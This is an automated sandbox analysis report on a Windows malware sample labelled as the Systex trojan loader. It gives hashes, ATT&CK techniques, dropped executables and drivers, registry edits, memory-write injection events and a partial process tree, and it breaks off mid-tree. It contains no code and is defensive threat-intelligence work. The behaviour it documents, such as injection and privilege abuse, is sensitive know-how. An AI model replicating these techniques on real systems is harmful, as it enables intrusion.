systex | c321cfd150b16ec90805eb4696d112a816ba4cbe6c9a6ac4accadc557e0b3bf5

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 03:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260707-drkn5ady6j
SHA256 c321cfd150b16ec90805eb4696d112a816ba4cbe6c9a6ac4accadc557e0b3bf5
MD5 69f6a12180ee21be0c6ff8c06423c4d1
SHA1 5376379cbb20887c884cff6c3252c77a908cff7f
SHA512 acee25d8bf3c48ee4a4af968fad451a571af4cf28faa4a29cd7b8e17b5b969375457b8b6707438bfb638dc92ed425e7117615b79e2682c4a25a9f3dce9baf8df
SSDEEP 3072:x9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:7ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T116847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
6036	xrpjhczxupmkeczx.exe
2992	xrpjhczxupmkeczx.sys
2888	CreateProcess.exe
4256	bzurpjhcwr.exe
3312	CreateProcess.exe
4796	CreateProcess.exe
2444	i_bzurpjhcwr.exe
2624	zwuomgezwu.sys
3324	CreateProcess.exe
5064	uomjebwtrm.exe
4680	CreateProcess.exe
2992	CreateProcess.exe
1504	i_uomjebwtrm.exe
6008	ytrojhtrlj.sys
5268	CreateProcess.exe
5088	oljebwqojg.exe
3448	CreateProcess.exe
1388	CreateProcess.exe
5472	i_oljebwqojg.exe
3428	oljdbvtrlj.sys
3888	CreateProcess.exe
2788	qoigbywtgd.exe
1256	CreateProcess.exe
1276	CreateProcess.exe
1640	i_qoigbywtgd.exe
2080	olgdyvtnlg.sys
5448	CreateProcess.exe
6076	dbvtqlidbv.exe
4988	CreateProcess.exe
4984	CreateProcess.exe
704	i_dbvtqlidbv.exe
5808	avsnlfdxvp.sys
5792	CreateProcess.exe
5796	vsqkifdxvq.exe
3124	CreateProcess.exe
844	CreateProcess.exe
4488	i_vsqkifdxvq.exe
2180	fdavsqkifd.sys
2800	CreateProcess.exe
3940	axvpnkfdxs.exe
3744	CreateProcess.exe
2016	CreateProcess.exe
832	i_axvpnkfdxs.exe
4316	vpnhfzxspk.sys
3508	CreateProcess.exe
204	spkhfcxvpn.exe
5240	CreateProcess.exe
1888	CreateProcess.exe
4152	i_spkhfcxvpn.exe
3380	xrpkhcaurp.sys
1044	CreateProcess.exe
4956	rpmhfzxspj.exe
1080	CreateProcess.exe
1140	CreateProcess.exe
1968	i_rpmhfzxspj.exe
3576	pmhezwuomh.sys
1196	CreateProcess.exe
4180	jhbztrmjhb.exe
2696	CreateProcess.exe
2816	CreateProcess.exe
5516	i_jhbztrmjhb.exe
2396	ztrmjhcwur.sys
3384	CreateProcess.exe
4804	jgeywromge.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_2053603782\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_1739395532\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_1639588925\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_1739395532\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_1739395532\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_1739395532\smart_switch_list.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_1537894557\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_1537894557\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1100_2053603782\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsqkifdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spkhfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpmhfzxspj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpmhfzxspj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbysqnlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czxrpkiczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oljebwqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdbvtolgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xusqkhfdav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xusqkhfdav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bzurpjhcwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgebwtrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ezwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oljebwqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbywtgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbysqnlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czxrpkiczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbywtgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsqkifdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrmjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnlfcavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spkhfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgebwtrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdbvtolgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhczxupmkeczx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axvpnkfdxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnlfcavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bzurpjhcwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomjebwtrm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axvpnkfdxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrmjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	romgezwroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomjebwtrm.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2276	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3316	ipconfig.exe
1480	ipconfig.exe
1652	ipconfig.exe
616	ipconfig.exe
2960	ipconfig.exe
4420	ipconfig.exe
5520	ipconfig.exe
3576	ipconfig.exe
4828	ipconfig.exe
5468	ipconfig.exe
1464	ipconfig.exe
2912	ipconfig.exe
4660	ipconfig.exe
1980	ipconfig.exe
2532	ipconfig.exe
1680	ipconfig.exe
4520	ipconfig.exe
480	ipconfig.exe
2132	ipconfig.exe
1540	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2049790993-2338060321-149346055-1000\{7BC0F4AC-6669-4532-B4C4-900B00CED842}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
6036	xrpjhczxupmkeczx.exe
6036	xrpjhczxupmkeczx.exe
6036	xrpjhczxupmkeczx.exe
6036	xrpjhczxupmkeczx.exe
6036	xrpjhczxupmkeczx.exe
6036	xrpjhczxupmkeczx.exe
6036	xrpjhczxupmkeczx.exe
6036	xrpjhczxupmkeczx.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1100	msedge.exe
1100	msedge.exe
1100	msedge.exe
1100	msedge.exe
1100	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	i_bzurpjhcwr.exe
Token: SeDebugPrivilege	1504	i_uomjebwtrm.exe
Token: SeDebugPrivilege	5472	i_oljebwqojg.exe
Token: SeDebugPrivilege	1640	i_qoigbywtgd.exe
Token: SeDebugPrivilege	704	i_dbvtqlidbv.exe
Token: SeDebugPrivilege	4488	i_vsqkifdxvq.exe
Token: SeDebugPrivilege	832	i_axvpnkfdxs.exe
Token: SeDebugPrivilege	4152	i_spkhfcxvpn.exe
Token: SeDebugPrivilege	1968	i_rpmhfzxspj.exe
Token: SeDebugPrivilege	5516	i_jhbztrmjhb.exe
Token: SeDebugPrivilege	468	i_jgeywromge.exe
Token: SeDebugPrivilege	3664	i_jgebwtrljd.exe
Token: SeDebugPrivilege	6028	i_gdbvtolgdy.exe
Token: SeDebugPrivilege	5744	i_dbysqnlida.exe
Token: SeDebugPrivilege	1232	i_vsnlfcavsn.exe
Token: SeDebugPrivilege	1980	i_xusqkhfdav.exe
Token: SeDebugPrivilege	2592	i_czxrpkiczu.exe
Token: SeDebugPrivilege	5052	i_ezwuomhezx.exe
Token: SeDebugPrivilege	4220	i_ebztrmjecw.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1100	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5708 wrote to memory of 6036	5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe	87
PID 5708 wrote to memory of 2380	5708	2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe	88
PID 2380 wrote to memory of 1100	2380	iexplore.exe	89
PID 1100 wrote to memory of 6096	1100	msedge.exe	90
PID 1100 wrote to memory of 2276	1100	msedge.exe	92
PID 1100 wrote to memory of 3968	1100	msedge.exe	93
PID 1100 wrote to memory of 3968	1100	msedge.exe	93
PID 1100 wrote to memory of 3968	1100	msedge.exe	93
PID 1100 wrote to memory of 5236	1100	msedge.exe	95
PID 1100 wrote to memory of 3552	1100	msedge.exe	96
PID 1100 wrote to memory of 5236	1100	msedge.exe	95
PID 1100 wrote to memory of 5236	1100	msedge.exe	95
PID 1100 wrote to memory of 3552	1100	msedge.exe	96
PID 1100 wrote to memory of 3552	1100	msedge.exe	96
PID 1100 wrote to memory of 6072	1100	msedge.exe	94
PID 1100 wrote to memory of 6072	1100	msedge.exe	94
PID 1100 wrote to memory of 2668	1100	msedge.exe	97
PID 1100 wrote to memory of 2668	1100	msedge.exe	97
PID 1100 wrote to memory of 2668	1100	msedge.exe	97
PID 1100 wrote to memory of 2812	1100	msedge.exe	98
PID 1100 wrote to memory of 2812	1100	msedge.exe	98
PID 1100 wrote to memory of 2812	1100	msedge.exe	98
PID 1100 wrote to memory of 2204	1100	msedge.exe	101
PID 1100 wrote to memory of 2204	1100	msedge.exe	101
PID 1100 wrote to memory of 1324	1100	msedge.exe	102
PID 1100 wrote to memory of 1324	1100	msedge.exe	102
PID 6036 wrote to memory of 2888	6036	xrpjhczxupmkeczx.exe	104
PID 1100 wrote to memory of 700	1100	msedge.exe	106
PID 1100 wrote to memory of 700	1100	msedge.exe	106
PID 4256 wrote to memory of 3312	4256	bzurpjhcwr.exe	109
PID 1100 wrote to memory of 476	1100	msedge.exe	110
PID 1100 wrote to memory of 1640	1100	msedge.exe	115
PID 1100 wrote to memory of 1640	1100	msedge.exe	115
PID 1100 wrote to memory of 4308	1100	msedge.exe	116
PID 1100 wrote to memory of 4308	1100	msedge.exe	116
PID 6036 wrote to memory of 4796	6036	xrpjhczxupmkeczx.exe	117
PID 6036 wrote to memory of 3324	6036	xrpjhczxupmkeczx.exe	121
PID 5064 wrote to memory of 4680	5064	uomjebwtrm.exe	123
PID 6036 wrote to memory of 2992	6036	xrpjhczxupmkeczx.exe	126
PID 6036 wrote to memory of 5268	6036	xrpjhczxupmkeczx.exe	130
PID 5088 wrote to memory of 3448	5088	oljebwqojg.exe	132
PID 6036 wrote to memory of 1388	6036	xrpjhczxupmkeczx.exe	135
PID 6036 wrote to memory of 3888	6036	xrpjhczxupmkeczx.exe	139
PID 2788 wrote to memory of 1256	2788	qoigbywtgd.exe	141
PID 6036 wrote to memory of 1276	6036	xrpjhczxupmkeczx.exe	144
PID 1100 wrote to memory of 2196	1100	msedge.exe	146
PID 1100 wrote to memory of 1312	1100	msedge.exe	147
PID 1100 wrote to memory of 2144	1100	msedge.exe	148
PID 6036 wrote to memory of 5448	6036	xrpjhczxupmkeczx.exe	151
PID 6076 wrote to memory of 4988	6076	dbvtqlidbv.exe	153
PID 6036 wrote to memory of 4984	6036	xrpjhczxupmkeczx.exe	156
PID 6036 wrote to memory of 5792	6036	xrpjhczxupmkeczx.exe	160
PID 5796 wrote to memory of 3124	5796	vsqkifdxvq.exe	162
PID 6036 wrote to memory of 844	6036	xrpjhczxupmkeczx.exe	165
PID 6036 wrote to memory of 2800	6036	xrpjhczxupmkeczx.exe	169
PID 3940 wrote to memory of 3744	3940	axvpnkfdxs.exe	171
PID 6036 wrote to memory of 2016	6036	xrpjhczxupmkeczx.exe	174
PID 6036 wrote to memory of 3508	6036	xrpjhczxupmkeczx.exe	178
PID 204 wrote to memory of 5240	204	spkhfcxvpn.exe	180
PID 6036 wrote to memory of 1888	6036	xrpjhczxupmkeczx.exe	183
PID 1100 wrote to memory of 5688	1100	msedge.exe	185
PID 1100 wrote to memory of 5688	1100	msedge.exe	185
PID 6036 wrote to memory of 1044	6036	xrpjhczxupmkeczx.exe	191
PID 4956 wrote to memory of 1080	4956	rpmhfzxspj.exe	193

C:\Users\Admin\AppData\Local\Temp\2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-06_69f6a12180ee21be0c6ff8c06423c4d1_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5708
- C:\Temp\xrpjhczxupmkeczx.exe
  C:\Temp\xrpjhczxupmkeczx.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:6036
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bzurpjhcwr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2888
  - - C:\Temp\bzurpjhcwr.exe
      C:\Temp\bzurpjhcwr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4256
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3312
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bzurpjhcwr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4796
  - - C:\Temp\i_bzurpjhcwr.exe
      C:\Temp\i_bzurpjhcwr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2444
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\uomjebwtrm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3324
  - - C:\Temp\uomjebwtrm.exe
      C:\Temp\uomjebwtrm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5064
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4680
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4420
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_uomjebwtrm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2992
  - - C:\Temp\i_uomjebwtrm.exe
      C:\Temp\i_uomjebwtrm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oljebwqojg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5268
  - - C:\Temp\oljebwqojg.exe
      C:\Temp\oljebwqojg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5088
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:480
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oljebwqojg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1388
  - - C:\Temp\i_oljebwqojg.exe
      C:\Temp\i_oljebwqojg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5472
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigbywtgd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3888
  - - C:\Temp\qoigbywtgd.exe
      C:\Temp\qoigbywtgd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2788
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1256
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2132
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigbywtgd.exe ups_ins
    3⤵
